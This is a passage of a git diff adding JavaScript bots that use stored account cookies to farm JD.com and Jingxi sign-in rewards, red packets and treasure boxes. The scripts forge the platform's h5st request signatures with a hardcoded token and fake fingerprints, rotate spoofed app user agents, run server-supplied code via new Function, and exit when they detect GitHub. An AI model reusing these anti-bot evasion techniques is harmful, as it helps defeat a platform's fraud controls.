获得${data.sendhb}红包`); + } else if (data.ret === 1003) { + console.log(`此账号已黑`); + $.black = true; + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +// 宝箱 +function bxdraw() { + let body; + if ($.signhb_source === '5') { + body = `ispp=1&sqactive=${$.sqactive}&tk=` + } else { + body = `ispp=0&sqactive=&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl("signhb/bxdraw", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} bxdraw API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `开启宝箱 获得${data.sendxd}喜豆` : `开启宝箱 获得${data.sendhb}红包`); + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 双签 +function SignedInfo() { + return new Promise(resolve => { + $.get(JDtaskUrl("SignedInfo", `_=${Date.now()}`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} SignedInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { data: { jd_sign_status, jx_sign_status, double_sign_status } } = data + if (data.retCode === 0) { + if (double_sign_status === 0) { + if (jd_sign_status === 1 && jx_sign_status === 1) { + await IssueReward() + } else { + console.log(`京东或京喜未签到,无法双签`) + } + } else { + console.log(`已完成双签`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function IssueReward() { + return new Promise(resolve => { + $.get(JDtaskUrl("IssueReward"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} IssueReward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.retCode === 0){ + console.log(`双签成功:获得${data.data.jx_award}京豆`) + } else { + console.log(`任务完成失败,错误信息${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(functionId, body = '') { + let url = `` + if (body) { + url = `${JD_API_HOST}fanxiantask/${functionId}?${body}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `${JD_API_HOST}fanxiantask/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} +function JDtaskUrl(functionId, body = '') { + let url = `https://wq.jd.com/jxjdsignin/${functionId}?${body ? `${body}&` : ''}sceneval=2&g_login_type=1&g_ty=ajax` + return { + url, + headers: { + "Host": "wq.jd.com", + "Accept": "application/json", + "Origin": "https://wqs.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://wqs.jd.com/", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/magic.js b/magic.js new file mode 100644 index 0000000..424a631 --- /dev/null +++ b/magic.js @@ -0,0 +1,1002 @@ +// noinspection JSUnresolvedFunction,JSUnresolvedVariable + +const axios = require('axios'); +const fs = require("fs"); +const {format} = require("date-fns"); +const notify = require('./sendNotify'); +const jdCookieNode = require('./jdCookie.js'); +const CryptoJS = require("crypto-js"); + +let cookies = []; +let testMode = process.env.TEST_MODE?.includes('on') ? true + : __dirname.includes("magic") + +let mode = process.env.MODE ? process.env.MODE : "local" + +let wxBlackCookiePin = process.env.M_WX_BLACK_COOKIE_PIN + ? process.env.M_WX_BLACK_COOKIE_PIN : '' + +Object.keys(jdCookieNode).forEach((item) => { + cookies.push(jdCookieNode[item]) +}) + +const JDAPP_USER_AGENTS = [ + `jdapp;android;10.0.2;9;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;9;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;9;${uuid()};network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36`, + `jdapp;android;10.0.2;9;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36`, + `jdapp;android;10.0.2;11;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36`, + `jdapp;android;10.0.2;11;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36`, + `jdapp;iPhone;10.0.2;14.2;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.2;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;11.4;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79`, + `jdapp;android;10.0.2;10;;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.6;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.6;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.5;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.7;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.4;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;android;10.0.2;8.1.0;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;8.0.0;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;iPhone;10.0.2;14.0.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;android;10.0.2;8.1.0;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36`, +] + +//来源于kedaya大佬 +const ISV_OBFUSCATOR = { + 'lzkj-isv.isvjcloud.com': [ + 'body=%7B%22url%22%3A%22https%3A%2F%2Flzkj-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&uuid=1d9f7760c9ffaad4eb&client=apple&clientVersion=10.0.10&st=1646999134752&sv=112&sign=d14c9517190f8a8b0e253e3dbbdee87a', + ], + 'cjhy-isv.isvjcloud.com': [ + 